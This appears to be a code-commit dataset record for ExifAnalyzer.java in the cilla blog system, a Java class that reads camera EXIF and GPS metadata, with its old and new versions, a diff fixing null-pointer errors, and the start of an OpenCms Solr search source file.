* @return Focal Length string, or {@code null} if the information could not be
* retrieved
*/
public String getFocalLength() {
Optional<Rational> focal = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_FOCAL_LENGTH);
if (focal.isPresent()) {
String result = String.format(Locale.ENGLISH, "%.0f mm", focal.get().doubleValue());
Optional<Integer> equiv = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_35MM_FILM_EQUIV_FOCAL_LENGTH);
if (equiv.isPresent() && focal.get().intValue() != equiv.get().intValue()) {
result += String.format(Locale.ENGLISH, " (= %d mm)", equiv.get());
}
return result;
}
return null;
}
/**
* Reads the Flash Mode that was set on the camera for this photo. Flash Mode may
* consist of several information separated by comma (',').
*
* @return Flash Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getFlash() {
Optional<Integer> code;
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_FLASH);
if (code.isPresent()) {
int value = code.get();
if (value == 0) {
return "no flash";
}
StringBuilder sb = new StringBuilder();
switch (value & 0x18) {
case 0x08: sb.append("on"); break;
case 0x10: sb.append("off"); break;
case 0x18: sb.append("auto"); break;
}
if ((value & 0x01) != 0) {
sb.append(",fired");
}
if ((value & 0x06) == 0x06) {
sb.append(",return detected");
}
// Too much information for a mere gallery
// if ((value & 0x06) == 0x04) {
// sb.append(",return not detected");
// }
// Too much information for a mere gallery
// if ((value & 0x20) != 0) {
// sb.append(",no flash function");
// }
if ((value & 0x40) != 0) {
sb.append(",red eye reduction");
}
if (sb.charAt(0) == ',') {
sb.deleteCharAt(0);
}
return sb.toString();
}
return null;
}
/**
* Reads the White Balance Mode that was set on the camera for this photo.
*
* @return White Balance Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getWhiteBalance() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.FocalLength.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "flash";
case 6: return "manual";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_WHITE_BALANCE_1);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "manual";
}
}
code = readInteger(PentaxMakernoteDirectory.class, PentaxMakernoteDirectory.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "manual";
}
}
// Other makes are undocumented and thus not evaluated
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "daylight";
case 2: return "fluorescent";
case 3: return "tungsten";
case 10: return "flash";
}
}
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_WHITE_BALANCE_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "manual";
}
}
return null;
}
/**
* Reads the Metering Mode that was set on the camera for this photo.
*
* @return Metering Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getMeteringMode() {
Optional<Integer> code;
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_METERING_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "average";
case 2: return "center weighted average";
case 3: return "spot";
case 4: return "multi spot";
case 5: return "multi segment";
case 6: return "partial";
}
}
return null;
}
/**
* Reads the Focus Mode that was set on the camera for this photo.
*
* @return Focus Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getFocusMode() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_FOCUS_MODE_1);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "one shot";
case 1: return "ai servo";
case 2: return "ai focus";
case 3: return "manual";
case 4: return "single";
case 5: return "continuous";
case 6: return "manual"; //NOSONAR
case 16: return "pan";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_FOCUS_MODE_2);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "manual";
case 1: return "focus lock";
case 2: return "macro";
case 3: return "single-area";
case 5: return "infinity";
case 6: return "multi-area";
case 8: return "super macro";
}
}
return null;
}
/**
* Reads the Program that was set on the camera for this photo.
*
* @return Program string, or {@code null} if the information could not be retrieved
*/
public String getProgram() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_EXPOSURE_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "program";
case 2: return "shutter speed priority";
case 3: return "aperture priority";
case 4: return "manual";
case 5: return "depth-of-field";
case 6: return "m-dep";
case 7: return "bulb";
}
}
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_EASY_SHOOTING_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "easy";
case 2: return "landscape";
case 3: return "fast shutter";
case 4: return "slow shutter";
case 5: return "night";
case 6: return "gray scale";
case 7: return "sepia";
case 8: return "portrait";
case 9: return "sports";
case 10: return "macro";
case 11: return "black and white";
case 13: return "vivid";
case 14: return "neutral";
case 15: return "flash off";
case 16: return "long shutter";
case 17: return "super macro";
case 18: return "foliage";
case 19: return "indoor";
case 20: return "fireworks";
case 21: return "beach";
case 22: return "underwater";
case 23: return "snow";
case 24: return "kids and pets";
case 25: return "night snapshot";
case 26: return "digital macro";
case 27: return "my colors";
case 28: return "still image";
case 30: return "color accent";
case 31: return "color swap";
case 32: return "aquarium";
case 33: return "iso 3200";
case 38: return "creative auto";
case 261: return "sunset";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_RECORD_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 2: return "program";
case 3: return "shutter priority";
case 4: return "aperture priority";
case 5: return "manual";
case 6: return "best shot";
case 17: // -v-
case 19: return "movie";
}
}
return null;
}
/**
* Fetches a String from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return String that was read
*/
protected <T extends Directory> Optional<String> readString(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getString(tag))
.filter(Objects::nonNull)
.findFirst();
}
/**
* Fetches a Rational from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return Rational that was read
*/
protected <T extends Directory> Optional<Rational> readRational(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getRational(tag))
.filter(Objects::nonNull)
.findFirst();
}
/**
* Fetches an Integer from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return Integer that was read
*/
protected <T extends Directory> Optional<Integer> readInteger(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getInteger(tag))
.filter(Objects::nonNull)
.findFirst();
}
/**
* Fetches a {@link Date} from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @param tz
* TimeZone the camera is configured to
* @return Date that was read, or {@code null} if there was no such information
*/
protected <T extends Directory> Optional<Date> readDate(Class<T> directory, final int tag, final TimeZone tz) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getDate(tag, tz))
.filter(Objects::nonNull)
.findFirst();
}
/**
* Converts an angle from a directory. The implementation handles one to three (and
* even more) rational array entries.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return BigDecimal containing the angle, probably rounded
*/
protected <T extends Directory> Optional<BigDecimal> readAngle(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> {
Rational[] data = dir.getRationalArray(tag);
if (data == null) {
return null;
}
double result = 0d;
for (int ix = data.length - 1; ix >= 0; ix--) {
result = (result / 60d) + data[ix].doubleValue();
}
return BigDecimal.valueOf(result).setScale(6, RoundingMode.HALF_DOWN);
})
.filter(Objects::nonNull)
.findFirst();
}
}
| cilla-service/src/main/java/org/shredzone/cilla/service/resource/ExifAnalyzer.java | /*
* cilla - Blog Management System
*
* Copyright (C) 2012 Richard "Shred" Körber
* http://cilla.shredzone.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.shredzone.cilla.service.resource;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.Date;
import java.util.Locale;
import java.util.Optional;
import java.util.TimeZone;
import org.shredzone.cilla.core.model.embed.ExifData;
import org.shredzone.cilla.core.model.embed.Geolocation;
import org.slf4j.LoggerFactory;
import com.drew.imaging.PhotographicConversions;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.lang.Rational;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.exif.ExifIFD0Directory;
import com.drew.metadata.exif.ExifSubIFDDirectory;
import com.drew.metadata.exif.GpsDirectory;
import com.drew.metadata.exif.makernotes.CanonMakernoteDirectory;
import com.drew.metadata.exif.makernotes.CasioType2MakernoteDirectory;
import com.drew.metadata.exif.makernotes.PentaxMakernoteDirectory;
/**
* Analyzes the EXIF and GPS information of a JPEG image. It's a wrapper around the
* Metadata Extractor of Drew Noakes.
*
* @author Richard "Shred" Körber
* @see <a href="http://drewnoakes.com/code/exif/">Metadata Extractor</a>
*/
public class ExifAnalyzer {
private final Metadata metadata;
/**
* Creates a new {@link ExifAnalyzer} for the given {@link Metadata}.
* <p>
* Private, use the factory classes instead.
*
* @param metadata
* {@link Metadata} to analyze
*/
private ExifAnalyzer(Metadata metadata) {
this.metadata = metadata;
}
/**
* Creates a new {@link ExifAnalyzer} for the given JPEG file.
*
* @param file
* JPEG file to analyze
* @return {@link ExifAnalyzer} or {@code null} if it is no valid JPEG image.
*/
public static ExifAnalyzer create(File file) throws IOException {
try {
return new ExifAnalyzer(JpegMetadataReader.readMetadata(file));
} catch (JpegProcessingException ex) {
LoggerFactory.getLogger(ExifAnalyzer.class)
.debug("Could not analyze file " + file.getName(), ex);
return null;
}
}
/**
* Creates a new {@link ExifAnalyzer} for the given JPEG input stream.
*
* @param in
* JPEG input stream to analyze
* @return {@link ExifAnalyzer} or {@code null} if it is no valid JPEG image.
*/
public static ExifAnalyzer create(InputStream in) throws IOException {
try {
return new ExifAnalyzer(JpegMetadataReader.readMetadata(in));
} catch (JpegProcessingException ex) {
LoggerFactory.getLogger(ExifAnalyzer.class)
.debug("Could not analyze input stream", ex);
return null;
}
}
/**
* Gets the Metadata containing the EXIF information.
*
* @return Metadata
*/
public Metadata getMetadata() {
return metadata;
}
/**
* Gets the {@link ExifData} of the picture taken.
*
* @return {@link ExifData}, never {@code null}, but it could be empty.
*/
public ExifData getExifData() {
ExifData exif = new ExifData();
exif.setCameraModel(getCameraModel());
exif.setAperture(getAperture());
exif.setShutter(getShutter());
exif.setIso(getIso());
exif.setExposureBias(getExposureBias());
exif.setFocalLength(getFocalLength());
exif.setFlash(getFlash());
exif.setWhiteBalance(getWhiteBalance());
exif.setMeteringMode(getMeteringMode());
exif.setFocusMode(getFocusMode());
exif.setProgram(getProgram());
return exif;
}
/**
* Gets the {@link Geolocation} where the picture was taken.
*
* @return {@link Geolocation}, never {@code null}, but it could be empty.
*/
public Geolocation getGeolocation() {
Geolocation location = new Geolocation();
Optional<BigDecimal> longitude = readAngle(GpsDirectory.class, GpsDirectory.TAG_LONGITUDE);
if (longitude.isPresent()) {
Optional<String> longRef = readString(GpsDirectory.class, GpsDirectory.TAG_LONGITUDE_REF);
if ("W".equals(longRef.orElse(null))) {
location.setLongitude(longitude.get().negate());
} else {
location.setLongitude(longitude.get());
}
}
Optional<BigDecimal> latitude = readAngle(GpsDirectory.class, GpsDirectory.TAG_LATITUDE);
if (latitude.isPresent()) {
Optional<String> latRef = readString(GpsDirectory.class, GpsDirectory.TAG_LATITUDE_REF);
if ("S".equals(latRef.orElse(null))) {
location.setLatitude(latitude.get().negate());
} else {
location.setLatitude(latitude.get());
}
}
Optional<Rational> altitude = readRational(GpsDirectory.class, GpsDirectory.TAG_ALTITUDE);
if (altitude.isPresent()) {
BigDecimal altDec = BigDecimal.valueOf(altitude.get().doubleValue()).setScale(3, RoundingMode.HALF_DOWN);
Optional<String> altRef = readString(GpsDirectory.class, GpsDirectory.TAG_ALTITUDE_REF);
if ("1".equals(altRef.orElse(null))) {
location.setAltitude(altDec.negate());
} else {
location.setAltitude(altDec);
}
}
return location;
}
/**
* Gets the date and time when the picture was taken according to the EXIF data.
*
* @param tz
* The camera's TimeZone
* @return Date and time, or {@code null} if the information could not be retrieved
*/
public Date getDateTime(TimeZone tz) {
// JDK9: use Optional.or()
Optional<Date> date = readDate(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_DATETIME_ORIGINAL, tz);
if (!date.isPresent()) {
date = readDate(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_DATETIME_DIGITIZED, tz);
}
if (!date.isPresent()) {
date = readDate(ExifIFD0Directory.class, ExifIFD0Directory.TAG_DATETIME, tz);
}
return date.orElse(null);
}
/**
* Gets the Camera Model.
*
* @return Camera Model string, or {@code null} if the information could not be
* retrieved
*/
public String getCameraModel() {
// JDK9: use Optional.or()
Optional<String> model = readString(ExifIFD0Directory.class, ExifIFD0Directory.TAG_MODEL);
if (model.isPresent()) {
return model.get();
}
model = readString(ExifIFD0Directory.class, ExifIFD0Directory.TAG_MAKE);
if (model.isPresent()) {
return model.get();
}
return null;
}
/**
* Gets the Aperture in F-Stops of the photo taken. Format is "f/6.0".
*
* @return Aperture string, or {@code null} if the information could not be retrieved
*/
public String getAperture() {
Optional<Rational> aperture = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_APERTURE);
if (aperture.isPresent()) {
double fstop = PhotographicConversions.apertureToFStop(aperture.get().doubleValue());
return String.format(Locale.ENGLISH, "f/%.1f", fstop);
}
return null;
}
/**
* Gets the Shutter Speed of the photo taken. Format is either "1/150 s" or "15.0 s".
*
* @return Shutter Speed string, or {@code null} if the information could not be
* retrieved
*/
public String getShutter() {
Optional<Rational> shutter = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_SHUTTER_SPEED);
if (shutter.isPresent()) {
double speed = PhotographicConversions.shutterSpeedToExposureTime(shutter.get().doubleValue());
if (speed <= .25d) {
return String.format(Locale.ENGLISH, "1/%.0f s", 1 / speed);
} else {
return String.format(Locale.ENGLISH, "%.1f s", speed);
}
}
return null;
}
/**
* Gets the ISO value of the photo taken. Format: "100".
*
* @return ISO string, or {@code null} if the information could not be retrieved
*/
public String getIso() {
Optional<Integer> iso = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_ISO_EQUIVALENT);
if (iso.isPresent()) {
return String.format(Locale.ENGLISH, "%d", iso.get());
}
return null;
}
/**
* Gets the Exposure Bias of the photo taken. Format: "+0.7 EV" (zero is "+0.0 EV").
*
* @return Exposure Bias string, or {@code null} if the information could not be
* retrieved
*/
public String getExposureBias() {
Optional<Rational> bias = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_EXPOSURE_BIAS);
if (bias.isPresent()) {
return String.format(Locale.ENGLISH, "%+.1f EV", bias.get().doubleValue());
}
return null;
}
/**
* Gets the Focal Length of the photo taken. Format: "123.0 mm". If there is also a 35
* mm film equivalent focal length, the format is "123.0 mm (= 196.8 mm)".
*
* @return Focal Length string, or {@code null} if the information could not be
* retrieved
*/
public String getFocalLength() {
Optional<Rational> focal = readRational(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_FOCAL_LENGTH);
if (focal.isPresent()) {
String result = String.format(Locale.ENGLISH, "%.0f mm", focal.get().doubleValue());
Optional<Integer> equiv = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_35MM_FILM_EQUIV_FOCAL_LENGTH);
if (equiv.isPresent() && focal.get().intValue() != equiv.get().intValue()) {
result += String.format(Locale.ENGLISH, " (= %d mm)", equiv.get());
}
return result;
}
return null;
}
/**
* Reads the Flash Mode that was set on the camera for this photo. Flash Mode may
* consist of several information separated by comma (',').
*
* @return Flash Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getFlash() {
Optional<Integer> code;
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_FLASH);
if (code.isPresent()) {
int value = code.get();
if (value == 0) return "no flash";
StringBuilder sb = new StringBuilder();
switch (value & 0x18) {
case 0x08: sb.append("on"); break;
case 0x10: sb.append("off"); break;
case 0x18: sb.append("auto"); break;
}
if ((value & 0x01) != 0) {
sb.append(",fired");
}
if ((value & 0x06) == 0x06) {
sb.append(",return detected");
}
// Too much information for a mere gallery
// if ((value & 0x06) == 0x04) {
// sb.append(",return not detected");
// }
// Too much information for a mere gallery
// if ((value & 0x20) != 0) {
// sb.append(",no flash function");
// }
if ((value & 0x40) != 0) {
sb.append(",red eye reduction");
}
if (sb.charAt(0) == ',') {
sb.deleteCharAt(0);
}
return sb.toString();
}
return null;
}
/**
* Reads the White Balance Mode that was set on the camera for this photo.
*
* @return White Balance Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getWhiteBalance() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.FocalLength.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "flash";
case 6: return "manual";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_WHITE_BALANCE_1);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "manual";
}
}
code = readInteger(PentaxMakernoteDirectory.class, PentaxMakernoteDirectory.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "daylight";
case 2: return "cloudy";
case 3: return "tungsten";
case 4: return "fluorescent";
case 5: return "manual";
}
}
// Other makes are undocumented and thus not evaluated
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_WHITE_BALANCE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "daylight";
case 2: return "fluorescent";
case 3: return "tungsten";
case 10: return "flash";
}
}
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_WHITE_BALANCE_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "manual";
}
}
return null;
}
/**
* Reads the Metering Mode that was set on the camera for this photo.
*
* @return Metering Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getMeteringMode() {
Optional<Integer> code;
code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_METERING_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "average";
case 2: return "center weighted average";
case 3: return "spot";
case 4: return "multi spot";
case 5: return "multi segment";
case 6: return "partial";
}
}
return null;
}
/**
* Reads the Focus Mode that was set on the camera for this photo.
*
* @return Focus Mode string, or {@code null} if the information could not be
* retrieved
*/
public String getFocusMode() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_FOCUS_MODE_1);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "one shot";
case 1: return "ai servo";
case 2: return "ai focus";
case 3: return "manual";
case 4: return "single";
case 5: return "continuous";
case 6: return "manual"; //NOSONAR
case 16: return "pan";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_FOCUS_MODE_2);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "manual";
case 1: return "focus lock";
case 2: return "macro";
case 3: return "single-area";
case 5: return "infinity";
case 6: return "multi-area";
case 8: return "super macro";
}
}
return null;
}
/**
* Reads the Program that was set on the camera for this photo.
*
* @return Program string, or {@code null} if the information could not be retrieved
*/
public String getProgram() {
Optional<Integer> code;
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_EXPOSURE_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 1: return "program";
case 2: return "shutter speed priority";
case 3: return "aperture priority";
case 4: return "manual";
case 5: return "depth-of-field";
case 6: return "m-dep";
case 7: return "bulb";
}
}
code = readInteger(CanonMakernoteDirectory.class, CanonMakernoteDirectory.CameraSettings.TAG_EASY_SHOOTING_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 0: return "auto";
case 1: return "easy";
case 2: return "landscape";
case 3: return "fast shutter";
case 4: return "slow shutter";
case 5: return "night";
case 6: return "gray scale";
case 7: return "sepia";
case 8: return "portrait";
case 9: return "sports";
case 10: return "macro";
case 11: return "black and white";
case 13: return "vivid";
case 14: return "neutral";
case 15: return "flash off";
case 16: return "long shutter";
case 17: return "super macro";
case 18: return "foliage";
case 19: return "indoor";
case 20: return "fireworks";
case 21: return "beach";
case 22: return "underwater";
case 23: return "snow";
case 24: return "kids and pets";
case 25: return "night snapshot";
case 26: return "digital macro";
case 27: return "my colors";
case 28: return "still image";
case 30: return "color accent";
case 31: return "color swap";
case 32: return "aquarium";
case 33: return "iso 3200";
case 38: return "creative auto";
case 261: return "sunset";
}
}
code = readInteger(CasioType2MakernoteDirectory.class, CasioType2MakernoteDirectory.TAG_RECORD_MODE);
if (code.isPresent()) {
switch (code.get()) {
case 2: return "program";
case 3: return "shutter priority";
case 4: return "aperture priority";
case 5: return "manual";
case 6: return "best shot";
case 17: // -v-
case 19: return "movie";
}
}
return null;
}
/**
* Fetches a String from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return String that was read
*/
protected <T extends Directory> Optional<String> readString(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getString(tag))
.findFirst();
}
/**
* Fetches a Rational from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return Rational that was read
*/
protected <T extends Directory> Optional<Rational> readRational(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getRational(tag))
.findFirst();
}
/**
* Fetches an Integer from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return Integer that was read
*/
protected <T extends Directory> Optional<Integer> readInteger(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getInteger(tag))
.findFirst();
}
/**
* Fetches a {@link Date} from a directory.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @param tz
* TimeZone the camera is configured to
* @return Date that was read, or {@code null} if there was no such information
*/
protected <T extends Directory> Optional<Date> readDate(Class<T> directory, final int tag, final TimeZone tz) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> dir.getDate(tag, tz))
.findFirst();
}
/**
* Converts an angle from a directory. The implementation handles one to three (and
* even more) rational array entries.
*
* @param directory
* Directory to read from
* @param tag
* Tag to be read
* @return BigDecimal containing the angle, probably rounded
*/
protected <T extends Directory> Optional<BigDecimal> readAngle(Class<T> directory, final int tag) {
return metadata.getDirectoriesOfType(directory).stream()
.filter(dir -> dir.containsTag(tag))
.map(dir -> {
Rational[] data = dir.getRationalArray(tag);
double result = 0d;
for (int ix = data.length - 1; ix >= 0; ix--) {
result = (result / 60d) + data[ix].doubleValue();
}
return BigDecimal.valueOf(result).setScale(6, RoundingMode.HALF_DOWN);
})
.findFirst();
}
}
| Fix NPE on incomplete EXIF data in a picture
| cilla-service/src/main/java/org/shredzone/cilla/service/resource/ExifAnalyzer.java | Fix NPE on incomplete EXIF data in a picture | <ide><path>illa-service/src/main/java/org/shredzone/cilla/service/resource/ExifAnalyzer.java
<ide> import java.math.RoundingMode;
<ide> import java.util.Date;
<ide> import java.util.Locale;
<add>import java.util.Objects;
<ide> import java.util.Optional;
<ide> import java.util.TimeZone;
<del>
<del>import org.shredzone.cilla.core.model.embed.ExifData;
<del>import org.shredzone.cilla.core.model.embed.Geolocation;
<del>import org.slf4j.LoggerFactory;
<ide>
<ide> import com.drew.imaging.PhotographicConversions;
<ide> import com.drew.imaging.jpeg.JpegMetadataReader;
<ide> import com.drew.metadata.exif.makernotes.CanonMakernoteDirectory;
<ide> import com.drew.metadata.exif.makernotes.CasioType2MakernoteDirectory;
<ide> import com.drew.metadata.exif.makernotes.PentaxMakernoteDirectory;
<add>import org.shredzone.cilla.core.model.embed.ExifData;
<add>import org.shredzone.cilla.core.model.embed.Geolocation;
<add>import org.slf4j.LoggerFactory;
<ide>
<ide> /**
<ide> * Analyzes the EXIF and GPS information of a JPEG image. It's a wrapper around the
<ide> code = readInteger(ExifSubIFDDirectory.class, ExifSubIFDDirectory.TAG_FLASH);
<ide> if (code.isPresent()) {
<ide> int value = code.get();
<del> if (value == 0) return "no flash";
<add> if (value == 0) {
<add> return "no flash";
<add> }
<ide>
<ide> StringBuilder sb = new StringBuilder();
<ide> switch (value & 0x18) {
<ide> return metadata.getDirectoriesOfType(directory).stream()
<ide> .filter(dir -> dir.containsTag(tag))
<ide> .map(dir -> dir.getString(tag))
<add> .filter(Objects::nonNull)
<ide> .findFirst();
<ide> }
<ide>
<ide> return metadata.getDirectoriesOfType(directory).stream()
<ide> .filter(dir -> dir.containsTag(tag))
<ide> .map(dir -> dir.getRational(tag))
<add> .filter(Objects::nonNull)
<ide> .findFirst();
<ide> }
<ide>
<ide> return metadata.getDirectoriesOfType(directory).stream()
<ide> .filter(dir -> dir.containsTag(tag))
<ide> .map(dir -> dir.getInteger(tag))
<add> .filter(Objects::nonNull)
<ide> .findFirst();
<ide> }
<ide>
<ide> return metadata.getDirectoriesOfType(directory).stream()
<ide> .filter(dir -> dir.containsTag(tag))
<ide> .map(dir -> dir.getDate(tag, tz))
<add> .filter(Objects::nonNull)
<ide> .findFirst();
<ide> }
<ide>
<ide> .filter(dir -> dir.containsTag(tag))
<ide> .map(dir -> {
<ide> Rational[] data = dir.getRationalArray(tag);
<add> if (data == null) {
<add> return null;
<add> }
<ide>
<ide> double result = 0d;
<ide> for (int ix = data.length - 1; ix >= 0; ix--) {
<ide>
<ide> return BigDecimal.valueOf(result).setScale(6, RoundingMode.HALF_DOWN);
<ide> })
<add> .filter(Objects::nonNull)
<ide> .findFirst();
<ide> }
<ide> |
|
Java | lgpl-2.1 | 1f0538447679634252ab17ac3029b2595f4b1c20 | 0 | alkacon/opencms-core,gallardo/opencms-core,mediaworx/opencms-core,gallardo/opencms-core,sbonoc/opencms-core,ggiudetti/opencms-core,mediaworx/opencms-core,MenZil/opencms-core,gallardo/opencms-core,victos/opencms-core,ggiudetti/opencms-core,alkacon/opencms-core,sbonoc/opencms-core,mediaworx/opencms-core,it-tavis/opencms-core,gallardo/opencms-core,victos/opencms-core,MenZil/opencms-core,alkacon/opencms-core,it-tavis/opencms-core,it-tavis/opencms-core,victos/opencms-core,ggiudetti/opencms-core,alkacon/opencms-core,sbonoc/opencms-core,MenZil/opencms-core,victos/opencms-core,sbonoc/opencms-core,ggiudetti/opencms-core,it-tavis/opencms-core,mediaworx/opencms-core,MenZil/opencms-core | /*
* File : $Source$
* Date : $Date$
* Version: $Revision$
*
* This library is part of OpenCms -
* the Open Source Content Management System
*
* Copyright (C) 2002 - 2009 Alkacon Software (http://www.alkacon.com)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* For further information about Alkacon Software, please see the
* company website: http://www.alkacon.com
*
* For further information about OpenCms, please see the
* project website: http://www.opencms.org
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package org.opencms.search.solr;
import org.opencms.configuration.CmsConfigurationException;
import org.opencms.configuration.CmsParameterConfiguration;
import org.opencms.file.CmsObject;
import org.opencms.file.CmsResource;
import org.opencms.file.types.CmsResourceTypeXmlContainerPage;
import org.opencms.file.types.CmsResourceTypeXmlContent;
import org.opencms.main.CmsException;
import org.opencms.main.CmsIllegalArgumentException;
import org.opencms.main.CmsLog;
import org.opencms.main.OpenCms;
import org.opencms.report.I_CmsReport;
import org.opencms.search.A_CmsSearchIndex;
import org.opencms.search.CmsSearchException;
import org.opencms.search.CmsSearchParameters;
import org.opencms.search.CmsSearchResource;
import org.opencms.search.CmsSearchResultList;
